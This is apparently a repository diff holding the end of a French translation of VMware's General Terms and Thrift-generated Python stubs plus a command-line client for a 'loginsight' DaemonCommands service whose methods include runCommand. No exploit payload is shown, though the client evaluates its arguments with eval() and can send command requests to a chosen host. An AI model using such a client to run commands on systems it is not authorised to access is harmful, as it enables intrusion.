     252 +que VMware est un fournisseur de services agissant pour le compte du
     253 +Client et que toutes les demandes d'accès au Contenu du Client doivent
     254 +être adressées par écrit au contact indiqué par le Client (ou si aucun
     255 +contact n'est indiqué dans un délai approprié, au service juridique du
     256 +Client) et (ii) fournir un accès au Contenu du Client uniquement avec
     257 +l'autorisation du Client. Si le Client l'exige, et aux frais de ce dernier,
     258 +VMware peut prendre des mesures raisonnables pour contester l'Injonction.
     259 +Si VMware a l'interdiction légale d'informer le Client de l'Injonction,
     260 +VMware doit évaluer la validité de l'Injonction et, s'il pense que celle-ci
     261 +n'est pas légale, il doit la contester. VMware doit limiter la portée de toute
     262 +divulgation aux informations minimales requises pour respecter l'Injonction.
     263 +10. PROGICIEL LIBRE. Le progiciel libre est fourni au Client sous licence selon
     264 +les conditions de licence propres au progiciel libre qui s'appliquent,
     265 +lesquelles sont disponibles dans le fichier open source_licenses.txt
     266 +accompagnant les Offres, dans la Documentation ou sur la page
     267 +www.vmware.com/fr/download/open_source.html. Ces conditions de licence
     268 +sont cohérentes avec la licence accordée dans le Contrat et peuvent accorder
     269 +des droits supplémentaires au bénéfice du Client. Les conditions de la licence
     270 +libre prévalent sur le Contrat dans la limite où celui-ci impose au Client des
     271 +restrictions plus importantes que les conditions applicables de la licence libre
     272 +applicable. Dans la mesure où la licence d'un progiciel libre, quel qu'il
     273 +soit, oblige VMware à donner accès au code source correspondant et/ou
     274 +aux éventuelles modifications (les « Fichiers sources ») au Client, le Client
     275 +peut se procurer une copie des Fichiers sources applicables sur la page
     276 +www.vmware.com/fr/download/open_source.html ou en envoyant une demande
     277 +écrite accompagnée de son nom et de son adresse à : VMware, Inc., 3401
     278 +Hillview Avenue, Palo Alto, CA 94304, États-Unis d'Amérique. Toutes les
     279 +demandes doivent clairement spécifier : Open Source Files Request, à
     280 +l'attention du : General Counsel. Cette possibilité d'obtention d'une copie
     281 +des Fichiers sources est valable pendant trois ans à partir de la date
     282 +d'acquisition de l'Offre par le Client.
     283 +11. DIVERS.
     284 +11.1. Transfert et attribution. Le Client ne peut pas attribuer le Contrat ou
     285 +toute Commande sans le consentement de VMware. Une fois attribué de façon
     286 +valide, le présent Contrat constituera un engagement et profitera aux parties
     287 +et à leurs successeurs et personnes désignées respectifs.
     288 +11.2. Avis. Tous les avis doivent se faire par écrit. Les Avis adressés au
     289 +Client se feront : (a) par e-mail envoyé à l'adresse électronique associée
     290 +au compte du Client, si ce dernier s'est inscrit aux avis par e-mail ; ou (b)
     291 +par publication sur le portail du service client VMware. Les avis de nature
     292 +juridique seront adressés à VMware, Inc., 3401 Hillview Avenue, Palo Alto,
     293 +Californie 94304, États-Unis d'Amérique, À l'attention du Service juridique.
     294 +11.3. Renonciation. La renonciation à invoquer une violation du Contrat ne
     295 +constituera pas une renonciation à invoquer une violation ultérieure, quelle
     296 +qu'elle soit.
     297 +11.4. Divisibilité. Si une partie quelle du présent Contrat est déclarée non
     298 +valide ou inapplicable, toutes les dispositions restantes demeureront en vigueur
     299 +dans la mesure du possible pour respecter l'intention des parties.
     300 +11.5. Assurance. VMware contractera une assurance pour la durée du Contrat.
     301 +Le Protocole d'assurance de VMware peut être consulté sur la page
     302 +www.vmware.com/agreements.
     303 +11.6. Respect des lois. Chaque partie doit se conformer à toutes les lois
     304 +applicables.
     305 +11.7. Contrôle des exportations. Les Offres sont soumises aux réglementations
     306 +de l'administration des exportations des États-Unis (y compris les
     307 +réglementations relatives aux « exportations supposées » et aux
     308 +« réexportations supposées »), et peuvent être soumises aux lois de contrôle
     309 +des exportations d'autres pays. Le Client reconnaît et garantit ce qui suit :
     310 +(a) le Client et tout Utilisateur ne sont pas des, et n'agissent pas pour le
     311 +compte de : (1) personnes qui sont des citoyens, ressortissants ou résidents,
     312 +ou qui sont contrôlées par le gouvernement, d'un pays vers lequel les
     313 +États-Unis ont interdit les exportations ; ou (2) une personne ou entité
     314 +répertoriée sur la liste des nationaux spécialement désignés et des
     315 +personnes bloquées (Specially Designated Nationals and Blocked Persons)
     316 +du Département du trésor américain ou sur la Liste des personnes ou liste
     317 +des entités refusées (Denied Persons List or Entity List) du Département du
     318 +commerce américain, ou sur toute autre liste semblable de personnes
     319 +désignées applicable ; (b) le Client, ou tout autre Utilisateur, ne permettra
     320 +pas que les Offres soient utilisées à des fins interdites par la loi, notamment
     321 +pour la conception, la fabrication, la production ou le développement interdits
     322 +de missiles ou d'armes nucléaires, chimiques ou biologiques ; et (c) le Client,
     323 +et tout autre Utilisateur, ne fait pas l'objet, directement ou indirectement,
     324 +d'une ordonnance émise par une agence, quelle qu'elle soit, du gouvernement
     325 +des États-Unis révoquant, ou réfutant, en tout ou en partie, les privilèges
     326 +d'exportation des États-Unis du Client. Le Client doit rapidement prévenir
     327 +VMware si lui-même ou tout autre Utilisateur fait l'objet d'une telle
     328 +ordonnance.
     329 +11.8. Droit applicable. Le Contrat est régi par les lois de l'État de
     330 +Californie et par les lois fédérales américaines, si l'adresse de facturation
     331 +de la Commande du Client est aux États-Unis, et par les lois de l'Irlande
     332 +si l'adresse de facturation de la Commande du Client se trouve hors des
     333 +États-Unis. Les règles relatives aux conflits de lois sont expressément
     334 +rejetées. La Convention des Nations Unies sur les contrats de vente
     335 +internationale de marchandises ne s'applique pas.
     336 +11.9. Utilisateur final du secteur public américain. Si un Client est un
     337 +Utilisateur final du secteur public américain, l'Annexe sur le secteur public
     338 +américain disponible sur la page www.vmware.com/agreements abroge ou
     339 +modifie les dispositions citées dans le Contrat.
     340 +11.10. Droits des tiers. Sauf comme expressément énoncé, le Contrat ne crée
     341 +aucun droit pour une personne, quelle qu'elle soit, qui n'y est pas partie.
     342 +Seules les personnes qui sont parties au Contrat peuvent le faire appliquer ou
     343 +en invoquer des conditions.
     344 +11.11. Force majeure. Sauf en ce qui concerne les obligations de paiement du
     345 +Client, aucune partie ne sera responsable de tout retard ou défaut d'exécution
     346 +découlant d'une cause, quelle qu'elle soit, échappant au contrôle raisonnable
     347 +de la partie, y compris les conflits du travail, troubles industriels,
     348 +dysfonctionnements systémiques des services publics, phénomènes naturels,
     349 +pandémies, embargos, émeutes, ordonnances gouvernementales, actes de
     350 +terrorisme ou guerres.
     351 +11.12. Aucune agence. Rien dans le Contrat n'est destiné à constituer une
     352 +relation fiduciaire, une agence, une coentreprise, un partenariat ou une fiducie
     353 +entre les parties. Aucune partie n'est habilitée à lier l'autre partie.
     354 +11.13. Traduction. Cette version des Conditions Générales dans une langue
     355 +autre que l'anglais est fournie à titre gracieux et l'utilisation de nos Offres
     356 +par le Client est soumise à la version en langue anglaise de ces Conditions
     357 +Générales publiées sur la page www.vmware.com/agreements.
     358 +11.14. Exemplaires. Le Contrat peut être signé par voie électronique ou en
     359 +plusieurs exemplaires, auquel cas chaque copie signée sera considérée
     360 +comme un original comme si les deux signatures figuraient sur le même document.
     361 +11.15. Intégralité du contrat. Le contrat contient l'intégralité de
     362 +l'accord entre les parties et abroge l'ensemble des communications,
     363 +déclarations, propositions, engagements, ententes et contrats précédents
     364 +ou contemporains, qu'ils soient écrits ou oraux, entre les parties à propos
     365 +de ce sujet. Le Contrat peut uniquement être modifié par écrit et en étant
     366 +signé par les deux parties.
     367 +12. DÉFINITIONS
     368 +Le terme « Affilié » désigne une entité qui est directement ou indirectement
     369 +contrôlée par la partie concernée, est placée sous un contrôle commun avec
     370 +celle-ci ou la « contrôle », le terme « contrôle » désignant un droit de
     371 +propriété, un droit de vote ou une participation semblable représentant
     372 +plus de 50 % du capital en circulation total de l'entité concernée à ce
     373 +moment-là.
     374 +L'expression Service Cloud désigne le Service Cloud VMware défini dans
     375 +la Commande du Client.
     376 +L'expression Guide des Services Cloud désigne le Guide des Services Cloud
     377 +VMware alors en vigueur, disponible sur la page www.vmware.com/agreements.
     378 +L'expression Informations Confidentielles désigne les informations ou supports
     379 +fournis par une partie (« Divulgateur ») à l'autre partie (« Destinataire »)
     380 +qui : (a) ont une forme tangible et portent une mention « confidentiel » ou
     381 +autre mention semblable ; ou (b) sont des informations qu'une personne
     382 +raisonnable saurait reconnaître, ou devrait reconnaître, comme étant
     383 +confidentielles. Les Informations confidentielles incluent : (1) les clés de
     384 +licence ; (2) les tarifs, stratégies produits ou programmes marketing
     385 +stratégiques de VMware ; (3) les supports non publics concernant les Offres ;
     386 +et (4) les Identifiants de connexion du Client.
     387 +Le terme Client désigne l'entité identifiée sur la Commande comme étant le
     388 +« Client ».
     389 +L'expression Contenu du Client désigne le contenu chargé dans le Service
     390 +Cloud par le Client ou par n'importe quel utilisateur ou fourni à VMware
     391 +dans le cadre des Services de Support, mais sans inclure les Contenus tiers
     392 +ou les informations de compte. Pour les besoins de cette définition, « contenu »
     393 +signifie n'importe quelles données, y compris les fichiers texte, vidéo ou
     394 +image et les logiciels (y compris les images de machine).
     395 +L'expression Avenant sur le traitement des données désigne l'Avenant sur
     396 +le traitement des données alors en vigueur, disponible sur la page
     397 +www.vmware.com/agreements.
     398 +L'expression Produits livrables désigne tous les rapports, analyses, scripts,
     399 +modèles, codes ou autres résultats de travaux fournis par VMware comme cela est
     400 +spécifié dans l'Énoncé des travaux applicables aux Services professionnels.
     401 +Le terme Livraison désigne ce qui suit : (a) pour les Services Cloud, le moment
     402 +où VMware envoie par e-mail les Identifiants de connexion à l'adresse
     403 +électronique associée au compte du Client ; (b) pour le Progiciel, le moment
     404 +où VMware informe le Client que le Progiciel est disponible pour le
     405 +téléchargement ; (c) pour les Services de support, l'émission par VMware
     406 +d'une facture pour ces Services de support ; (d) pour les Services
     407 +professionnels, comme indiqué dans l'Énoncé des travaux applicable ;
     408 +(e) pour l'achat de crédits de programme, le moment où VMware rend le solde
     409 +des fonds disponible sur le portail concerné ; et (f) pour l'expédition et la
     410 +livraison d'objets matériels, l'installation logistique régionale de départ
     411 +usine de VMware (INCOTERMS 2020(TM)).
     412 +Le terme Documentation désigne la documentation du produit décrivant les
     413 +fonctionnalités, le fonctionnement et l'utilisation des Offres publiées et
     414 +mises à jour par VMware de temps à autre sur docs.vmware.com.
     415 +Le terme Évaluation désigne une Offre (ou une partie d'une Offre) mise à
     416 +disposition gratuitement, à des fins d'évaluation, d'essai, de preuve de
     417 +concept ou à une autre fin semblable.
     418 +Le terme Annexes désigne les annexes des présentes Conditions Générales
     419 +(Progiciel, Services Cloud, Services professionnels, Entités du gouvernement
     420 +fédéral américain et de VMware) disponibles sur la page
     421 +www.vmware.com/agreements.
     422 +L'expression Supports Indemnisés désigne les Services Cloud, le Progiciel
     423 +et les Livrables.
     424 +L'expression Action en Contrefaçon désigne toute affirmation d'un tiers
     425 +selon laquelle les Supports Indemnisés enfreignent un brevet, une marque de
     426 +commerce ou un droit d'auteur dudit tiers, ou selon laquelle ils détournent
     427 +frauduleusement un secret commercial (mais uniquement dans la mesure où le
     428 +détournement ne résulte pas des actions du Client).
     429 +L'expression Droits de Propriété Intellectuelle désigne tous les droits de
     430 +propriété intellectuelle dans le monde entier, y compris les droits d'auteur,
     431 +marques commerciales, marques de service, secrets industriels, savoir-faire,
     432 +inventions, brevets, demandes de brevets, droits moraux et tous les autres
     433 +droits de propriété, qu'ils soient enregistrés ou non.
     434 +L'expression Identifiants de connexion désigne tous les mots de passe, clés
     435 +d'authentification ou identifiants de sécurité qui permettent au Client
     436 +d'accéder au Service Cloud et de le gérer.
     437 +Le terme Offre(s) désigne, collectivement, les Services ou le Progiciel.
     438 +L'expression Avis relatifs aux Offres désigne les avis de licence ou avis de
     439 +service applicables situés dans le Guide des Produits, le Guide des
     440 +Services Cloud et le Guide des Services de Support.
     441 +Le terme Commande désigne une commande d'entreprise, un Énoncé des Travaux,
     442 +un devis ou un autre document de commande pour les Offres, adressé par le
     443 +Client à VMware ou au revendeur agréé VMware du Client et accepté par
     444 +VMware, décrit dans l'article 2 des Conditions Générales (Commandes et
     445 +Paiements). L'expression Licence perpétuelle désigne une licence pour le
     446 +Progiciel ayant une durée perpétuelle.
     447 +La définition de Données Personnelles est fournie dans l'Avenant sur le
     448 +traitement des données.
     449 +L'expression Guide des Produits désigne le Guide des Produits de VMware
     450 +alors en vigueur disponible sur la page www.vmware.com/agreements.
     451 +L'expression Services Professionnels désigne les services décrits dans
     452 +l'Énoncé des Travaux applicable.
     453 +L'expression Contrat de Niveau de Service désigne la version alors en vigueur
     454 +du Contrat de Niveau de Service d'un Service Cloud, disponible sur la page
     455 +www.vmware.com/agreements.
     456 +Le terme Service(s) désigne les Services Cloud, Services de Support ou Services
     457 +Professionnels.
     458 +Le terme Progiciel désigne les programmes informatiques de VMware pour
     459 +lesquels le Client obtient une licence, ainsi que tout code logiciel associé
     460 +fourni par VMware dans le cadre des Services de Support et qui ne donne
     461 +pas lieu à un contrat de licence distinct.
     462 +L'expression Énoncé des Travaux ou Statement of Work désigne un contrat
     463 +écrit entre le Client et VMware contenant des détails spécifiques au projet
     464 +de Services Professionnels ou une fiche produit en ligne de VMware.
     465 +L'expression Progiciel par abonnement désigne un Progiciel qui est fourni
     466 +sous licence pour une durée spécifique.
     467 +L'expression Durée d'abonnement désigne la période de temps pendant
     468 +laquelle le Client est autorisé à utiliser le Service Cloud ou le Progiciel par
     469 +abonnement, définie dans la Commande applicable. Pour tout Service Cloud
     470 +à la demande, la Durée d'abonnement correspond à la période de temps pendant
     471 +laquelle le Client utilise le Service Cloud.
     472 +L'expression Services de Support désigne les services de support et par
     473 +abonnement de VMware qui sont achetés dans le cadre d'une Commande ou inclus
     474 +dans l'achat d'un Progiciel par abonnement ou de Services Cloud.
     475 +L'expression Guide des Services de Support désigne le Guide des Services de
     476 +Support VMware alors en vigueur, disponible sur la page www.vmware.com/agreements.
     477 +Le terme Taxe désigne l'ensemble des taxes sur les ventes, TVA (taxe sur la
     478 +valeur ajoutée), taxe sur les biens et services, sur l'utilisation, sur des
     479 +reçus bruts, sur les entreprises et l'activité et autres taxes (autres que les
     480 +taxes sur le revenu de VMware), frais d'exportation et importation, droits de
     481 +douane et frais assimilés imposés par un gouvernement ou une autre autorité.
     482 +L'expression Prestataire tiers désigne un tiers fournissant des services
     483 +informatiques au Client en vertu d'un contrat conclu avec ce dernier.
     484 +L'expression Contenu Tiers désigne le contenu fourni par un tiers qui interagit
     485 +avec un Service Cloud, mais qui ne fait pas partie du Cloud Service. Le
     486 +Contenu Tiers est facultatif et soumis aux conditions tierces qui
     487 +accompagnent le Contenu Tiers.
     488 +L'expression Utilisateur final du secteur public américain désigne un
     489 +Utilisateur final fédéral américain ou un Utilisateur final du gouvernement
     490 +local ou d'un État des États-Unis comme ces termes sont définis dans
     491 +l'Annexe sur le secteur public américain.
     492 +Le terme Utilisateur désigne un employé, sous-traitant ou Prestataire
     493 +tiers autorisé par le Client à utiliser les Offres comme cela est autorisé en
     494 +vertu du Contrat ou à l'aide des Identifiants de connexion du Client.
     495 +VMware désigne VMware, Inc., une société du Delaware, si l'adresse de
     496 +facturation de la commande se trouve aux États-Unis d'Amérique, ou
     497 +VMware International Unlimited Company, une entreprise constituée et
     498 +existant sous le régime des lois de l'Irlande, si l'adresse de facturation de
     499 +la Commande se situe en dehors des États-Unis d'Amérique, sauf si l'adresse
     500 +de facturation de la Commande se trouve au Royaume-Uni, en Australie, en
     501 +Nouvelle-Zélande ou dans les îles du Pacifique, auquel cas VMware désigne
     502 +l'entité applicable identifiée dans l'Annexe relative aux entités VMware
     503 +disponible sur la page www.vmware.com/agreements.
     504 + 
  • ■ ■ ■ ■ ■
    gen-py/__init__.py
     1 + 
  • ■ ■ ■ ■ ■ ■
    gen-py/loginsight/DaemonCommands-remote
     1 +#!/usr/bin/env python
     2 +#
     3 +# Autogenerated by Thrift Compiler (0.16.0)
     4 +#
     5 +# DO NOT EDIT UNLESS YOU ARE SURE THAT YOU KNOW WHAT YOU ARE DOING
     6 +#
     7 +# options string: py
     8 +#
     9 + 
     10 +import sys
     11 +import pprint
     12 +if sys.version_info[0] > 2:
     13 + from urllib.parse import urlparse
     14 +else:
     15 + from urlparse import urlparse
     16 +from thrift.transport import TTransport, TSocket, TSSLSocket, THttpClient
     17 +from thrift.protocol.TBinaryProtocol import TBinaryProtocol
     18 + 
     19 +from loginsight import DaemonCommands
     20 +from loginsight.ttypes import *
     21 + 
     22 +if len(sys.argv) <= 1 or sys.argv[1] == '--help':
     23 + print('')
     24 + print('Usage: ' + sys.argv[0] + ' [-h host[:port]] [-u url] [-f[ramed]] [-s[sl]] [-novalidate] [-ca_certs certs] [-keyfile keyfile] [-certfile certfile] function [arg1 [arg2...]]')
     25 + print('')
     26 + print('Functions:')
     27 + print(' StrataNodeType getNodeType()')
     28 + print(' GetConfigResult getConfig(GetConfigRequest request)')
     29 + print(' CommandStatusWithHandle runCommand(CommandWithTimeout commandWithTimeout)')
     30 + print('')
     31 + sys.exit(0)
     32 + 
     33 +pp = pprint.PrettyPrinter(indent=2)
     34 +host = 'localhost'
     35 +port = 9090
     36 +uri = ''
     37 +framed = False
     38 +ssl = False
     39 +validate = True
     40 +ca_certs = None
     41 +keyfile = None
     42 +certfile = None
     43 +http = False
     44 +argi = 1
     45 + 
     46 +if sys.argv[argi] == '-h':
     47 + parts = sys.argv[argi + 1].split(':')
     48 + host = parts[0]
     49 + if len(parts) > 1:
     50 + port = int(parts[1])
     51 + argi += 2
     52 + 
     53 +if sys.argv[argi] == '-u':
     54 + url = urlparse(sys.argv[argi + 1])
     55 + parts = url[1].split(':')
     56 + host = parts[0]
     57 + if len(parts) > 1:
     58 + port = int(parts[1])
     59 + else:
     60 + port = 80
     61 + uri = url[2]
     62 + if url[4]:
     63 + uri += '?%s' % url[4]
     64 + http = True
     65 + argi += 2
     66 + 
     67 +if sys.argv[argi] == '-f' or sys.argv[argi] == '-framed':
     68 + framed = True
     69 + argi += 1
     70 + 
     71 +if sys.argv[argi] == '-s' or sys.argv[argi] == '-ssl':
     72 + ssl = True
     73 + argi += 1
     74 + 
     75 +if sys.argv[argi] == '-novalidate':
     76 + validate = False
     77 + argi += 1
     78 + 
     79 +if sys.argv[argi] == '-ca_certs':
     80 + ca_certs = sys.argv[argi+1]
     81 + argi += 2
     82 + 
     83 +if sys.argv[argi] == '-keyfile':
     84 + keyfile = sys.argv[argi+1]
     85 + argi += 2
     86 + 
     87 +if sys.argv[argi] == '-certfile':
     88 + certfile = sys.argv[argi+1]
     89 + argi += 2
     90 + 
     91 +cmd = sys.argv[argi]
     92 +args = sys.argv[argi + 1:]
     93 + 
     94 +if http:
     95 + transport = THttpClient.THttpClient(host, port, uri)
     96 +else:
     97 + if ssl:
     98 + socket = TSSLSocket.TSSLSocket(host, port, validate=validate, ca_certs=ca_certs, keyfile=keyfile, certfile=certfile)
     99 + else:
     100 + socket = TSocket.TSocket(host, port)
     101 + if framed:
     102 + transport = TTransport.TFramedTransport(socket)
     103 + else:
     104 + transport = TTransport.TBufferedTransport(socket)
     105 +protocol = TBinaryProtocol(transport)
     106 +client = DaemonCommands.Client(protocol)
     107 +transport.open()
     108 + 
     109 +if cmd == 'getNodeType':
     110 + if len(args) != 0:
     111 + print('getNodeType requires 0 args')
     112 + sys.exit(1)
     113 + pp.pprint(client.getNodeType())
     114 + 
     115 +elif cmd == 'getConfig':
     116 + if len(args) != 1:
     117 + print('getConfig requires 1 args')
     118 + sys.exit(1)
     119 + pp.pprint(client.getConfig(eval(args[0]),))
     120 + 
     121 +elif cmd == 'runCommand':
     122 + if len(args) != 1:
     123 + print('runCommand requires 1 args')
     124 + sys.exit(1)
     125 + pp.pprint(client.runCommand(eval(args[0]),))
     126 + 
     127 +else:
     128 + print('Unrecognized method %s' % cmd)
     129 + sys.exit(1)
     130 + 
     131 +transport.close()
     132 + 
  • ■ ■ ■ ■ ■ ■
    gen-py/loginsight/DaemonCommands.py
     1 +#
     2 +# Autogenerated by Thrift Compiler (0.16.0)
     3 +#
     4 +# DO NOT EDIT UNLESS YOU ARE SURE THAT YOU KNOW WHAT YOU ARE DOING
     5 +#
     6 +# options string: py
     7 +#
     8 + 
     9 +from thrift.Thrift import TType, TMessageType, TFrozenDict, TException, TApplicationException
     10 +from thrift.protocol.TProtocol import TProtocolException
     11 +from thrift.TRecursive import fix_spec
     12 + 
     13 +import sys
     14 +import logging
     15 +from .ttypes import *
     16 +from thrift.Thrift import TProcessor
     17 +from thrift.transport import TTransport
     18 +all_structs = []
     19 + 
     20 + 
     21 +class Iface(object):
     22 + def getNodeType(self):
     23 + pass
     24 + 
     25 + def getConfig(self, request):
     26 + """
     27 + Parameters:
     28 + - request
     29 + 
     30 + """
     31 + pass
     32 + 
     33 + def runCommand(self, commandWithTimeout):
     34 + """
     35 + Parameters:
     36 + - commandWithTimeout
     37 + 
     38 + """
     39 + pass
     40 + 
     41 + 
     42 +class Client(Iface):
     43 + def __init__(self, iprot, oprot=None):
     44 + self._iprot = self._oprot = iprot
     45 + if oprot is not None:
     46 + self._oprot = oprot
     47 + self._seqid = 0
     48 + 
     49 + def getNodeType(self):
     50 + self.send_getNodeType()
     51 + return self.recv_getNodeType()
     52 + 
     53 + def send_getNodeType(self):
     54 + self._oprot.writeMessageBegin('getNodeType', TMessageType.CALL, self._seqid)
     55 + args = getNodeType_args()
     56 + args.write(self._oprot)
     57 + self._oprot.writeMessageEnd()
     58 + self._oprot.trans.flush()
     59 + 
     60 + def recv_getNodeType(self):
     61 + iprot = self._iprot
     62 + (fname, mtype, rseqid) = iprot.readMessageBegin()
     63 + if mtype == TMessageType.EXCEPTION:
     64 + x = TApplicationException()
     65 + x.read(iprot)
     66 + iprot.readMessageEnd()
     67 + raise x
     68 + result = getNodeType_result()
     69 + result.read(iprot)
     70 + iprot.readMessageEnd()
     71 + if result.success is not None:
     72 + return result.success
     73 + raise TApplicationException(TApplicationException.MISSING_RESULT, "getNodeType failed: unknown result")
     74 + 
     75 + def getConfig(self, request):
     76 + """
     77 + Parameters:
     78 + - request
     79 + 
     80 + """
     81 + self.send_getConfig(request)
     82 + return self.recv_getConfig()
     83 + 
     84 + def send_getConfig(self, request):
     85 + self._oprot.writeMessageBegin('getConfig', TMessageType.CALL, self._seqid)
     86 + args = getConfig_args()
     87 + args.request = request
     88 + args.write(self._oprot)
     89 + self._oprot.writeMessageEnd()
     90 + self._oprot.trans.flush()
     91 + 
     92 + def recv_getConfig(self):
     93 + iprot = self._iprot
     94 + (fname, mtype, rseqid) = iprot.readMessageBegin()
     95 + if mtype == TMessageType.EXCEPTION:
     96 + x = TApplicationException()
     97 + x.read(iprot)
     98 + iprot.readMessageEnd()
     99 + raise x
     100 + result = getConfig_result()
     101 + result.read(iprot)
     102 + iprot.readMessageEnd()
     103 + if result.success is not None:
     104 + return result.success
     105 + raise TApplicationException(TApplicationException.MISSING_RESULT, "getConfig failed: unknown result")
     106 + 
     107 + def runCommand(self, commandWithTimeout):
     108 + """
     109 + Parameters:
     110 + - commandWithTimeout
     111 + 
     112 + """
     113 + self.send_runCommand(commandWithTimeout)
     114 + return self.recv_runCommand()
     115 + 
     116 + def send_runCommand(self, commandWithTimeout):
     117 + self._oprot.writeMessageBegin('runCommand', TMessageType.CALL, self._seqid)
     118 + args = runCommand_args()
     119 + args.commandWithTimeout = commandWithTimeout
     120 + args.write(self._oprot)
     121 + self._oprot.writeMessageEnd()
     122 + self._oprot.trans.flush()
     123 + 
     124 + def recv_runCommand(self):
     125 + iprot = self._iprot
     126 + (fname, mtype, rseqid) = iprot.readMessageBegin()
     127 + if mtype == TMessageType.EXCEPTION:
     128 + x = TApplicationException()
     129 + x.read(iprot)
     130 + iprot.readMessageEnd()
     131 + raise x
     132 + result = runCommand_result()
     133 + result.read(iprot)
     134 + iprot.readMessageEnd()
     135 + if result.success is not None:
     136 + return result.success
     137 + raise TApplicationException(TApplicationException.MISSING_RESULT, "runCommand failed: unknown result")
     138 + 
     139 + 
     140 +class Processor(Iface, TProcessor):
     141 + def __init__(self, handler):
     142 + self._handler = handler
     143 + self._processMap = {}
     144 + self._processMap["getNodeType"] = Processor.process_getNodeType
     145 + self._processMap["getConfig"] = Processor.process_getConfig
     146 + self._processMap["runCommand"] = Processor.process_runCommand
     147 + self._on_message_begin = None
     148 + 
     149 + def on_message_begin(self, func):
     150 + self._on_message_begin = func
     151 + 
     152 + def process(self, iprot, oprot):
     153 + (name, type, seqid) = iprot.readMessageBegin()
     154 + if self._on_message_begin:
     155 + self._on_message_begin(name, type, seqid)
     156 + if name not in self._processMap:
     157 + iprot.skip(TType.STRUCT)
     158 + iprot.readMessageEnd()
     159 + x = TApplicationException(TApplicationException.UNKNOWN_METHOD, 'Unknown function %s' % (name))
     160 + oprot.writeMessageBegin(name, TMessageType.EXCEPTION, seqid)
     161 + x.write(oprot)
     162 + oprot.writeMessageEnd()
     163 + oprot.trans.flush()
     164 + return
     165 + else:
     166 + self._processMap[name](self, seqid, iprot, oprot)
     167 + return True
     168 + 
     169 + def process_getNodeType(self, seqid, iprot, oprot):
     170 + args = getNodeType_args()
     171 + args.read(iprot)
     172 + iprot.readMessageEnd()
     173 + result = getNodeType_result()
     174 + try:
     175 + result.success = self._handler.getNodeType()
     176 + msg_type = TMessageType.REPLY
     177 + except TTransport.TTransportException:
     178 + raise
     179 + except TApplicationException as ex:
     180 + logging.exception('TApplication exception in handler')
     181 + msg_type = TMessageType.EXCEPTION
     182 + result = ex
     183 + except Exception:
     184 + logging.exception('Unexpected exception in handler')
     185 + msg_type = TMessageType.EXCEPTION
     186 + result = TApplicationException(TApplicationException.INTERNAL_ERROR, 'Internal error')
     187 + oprot.writeMessageBegin("getNodeType", msg_type, seqid)
     188 + result.write(oprot)
     189 + oprot.writeMessageEnd()
     190 + oprot.trans.flush()
     191 + 
     192 + def process_getConfig(self, seqid, iprot, oprot):
     193 + args = getConfig_args()
     194 + args.read(iprot)
     195 + iprot.readMessageEnd()
     196 + result = getConfig_result()
     197 + try:
     198 + result.success = self._handler.getConfig(args.request)
     199 + msg_type = TMessageType.REPLY
     200 + except TTransport.TTransportException:
     201 + raise
     202 + except TApplicationException as ex:
     203 + logging.exception('TApplication exception in handler')
     204 + msg_type = TMessageType.EXCEPTION
     205 + result = ex
     206 + except Exception:
     207 + logging.exception('Unexpected exception in handler')
     208 + msg_type = TMessageType.EXCEPTION
     209 + result = TApplicationException(TApplicationException.INTERNAL_ERROR, 'Internal error')
     210 + oprot.writeMessageBegin("getConfig", msg_type, seqid)
     211 + result.write(oprot)
     212 + oprot.writeMessageEnd()
     213 + oprot.trans.flush()
     214 + 
     215 + def process_runCommand(self, seqid, iprot, oprot):
     216 + args = runCommand_args()
     217 + args.read(iprot)
     218 + iprot.readMessageEnd()
     219 + result = runCommand_result()
     220 + try:
     221 + result.success = self._handler.runCommand(args.commandWithTimeout)
     222 + msg_type = TMessageType.REPLY
     223 + except TTransport.TTransportException:
     224 + raise
     225 + except TApplicationException as ex:
     226 + logging.exception('TApplication exception in handler')
     227 + msg_type = TMessageType.EXCEPTION
     228 + result = ex
     229 + except Exception:
     230 + logging.exception('Unexpected exception in handler')
     231 + msg_type = TMessageType.EXCEPTION
     232 + result = TApplicationException(TApplicationException.INTERNAL_ERROR, 'Internal error')
     233 + oprot.writeMessageBegin("runCommand", msg_type, seqid)
     234 + result.write(oprot)
     235 + oprot.writeMessageEnd()
     236 + oprot.trans.flush()
     237 + 
     238 +# HELPER FUNCTIONS AND STRUCTURES
     239 + 
     240 + 
     241 +class getNodeType_args(object):
     242 + 
     243 + 
     244 + def read(self, iprot):
     245 + if iprot._fast_decode is not None and isinstance(iprot.trans, TTransport.CReadableTransport) and self.thrift_spec is not None:
     246 + iprot._fast_decode(self, iprot, [self.__class__, self.thrift_spec])
     247 + return
     248 + iprot.readStructBegin()
     249 + while True:
     250 + (fname, ftype, fid) = iprot.readFieldBegin()
     251 + if ftype == TType.STOP:
     252 + break
     253 + else:
     254 + iprot.skip(ftype)
     255 + iprot.readFieldEnd()
     256 + iprot.readStructEnd()
     257 + 
     258 + def write(self, oprot):
     259 + if oprot._fast_encode is not None and self.thrift_spec is not None:
     260 + oprot.trans.write(oprot._fast_encode(self, [self.__class__, self.thrift_spec]))
     261 + return
     262 + oprot.writeStructBegin('getNodeType_args')
     263 + oprot.writeFieldStop()
     264 + oprot.writeStructEnd()
     265 + 
     266 + def validate(self):
     267 + return
     268 + 
     269 + def __repr__(self):
     270 + L = ['%s=%r' % (key, value)
     271 + for key, value in self.__dict__.items()]
     272 + return '%s(%s)' % (self.__class__.__name__, ', '.join(L))
     273 + 
     274 + def __eq__(self, other):
     275 + return isinstance(other, self.__class__) and self.__dict__ == other.__dict__
     276 + 
     277 + def __ne__(self, other):
     278 + return not (self == other)
     279 +all_structs.append(getNodeType_args)
     280 +getNodeType_args.thrift_spec = (
     281 +)
     282 + 
     283 + 
     284 +class getNodeType_result(object):
     285 + """
     286 + Attributes:
     287 + - success
     288 + 
     289 + """
     290 + 
     291 + 
     292 + def __init__(self, success=None,):
     293 + self.success = success
     294 + 
     295 + def read(self, iprot):
     296 + if iprot._fast_decode is not None and isinstance(iprot.trans, TTransport.CReadableTransport) and self.thrift_spec is not None:
     297 + iprot._fast_decode(self, iprot, [self.__class__, self.thrift_spec])
     298 + return
     299 + iprot.readStructBegin()
     300 + while True:
     301 + (fname, ftype, fid) = iprot.readFieldBegin()
     302 + if ftype == TType.STOP:
     303 + break
     304 + if fid == 0:
     305 + if ftype == TType.I32:
     306 + self.success = iprot.readI32()
     307 + else:
     308 + iprot.skip(ftype)
     309 + else:
     310 + iprot.skip(ftype)
     311 + iprot.readFieldEnd()
     312 + iprot.readStructEnd()
     313 + 
     314 + def write(self, oprot):
     315 + if oprot._fast_encode is not None and self.thrift_spec is not None:
     316 + oprot.trans.write(oprot._fast_encode(self, [self.__class__, self.thrift_spec]))
     317 + return
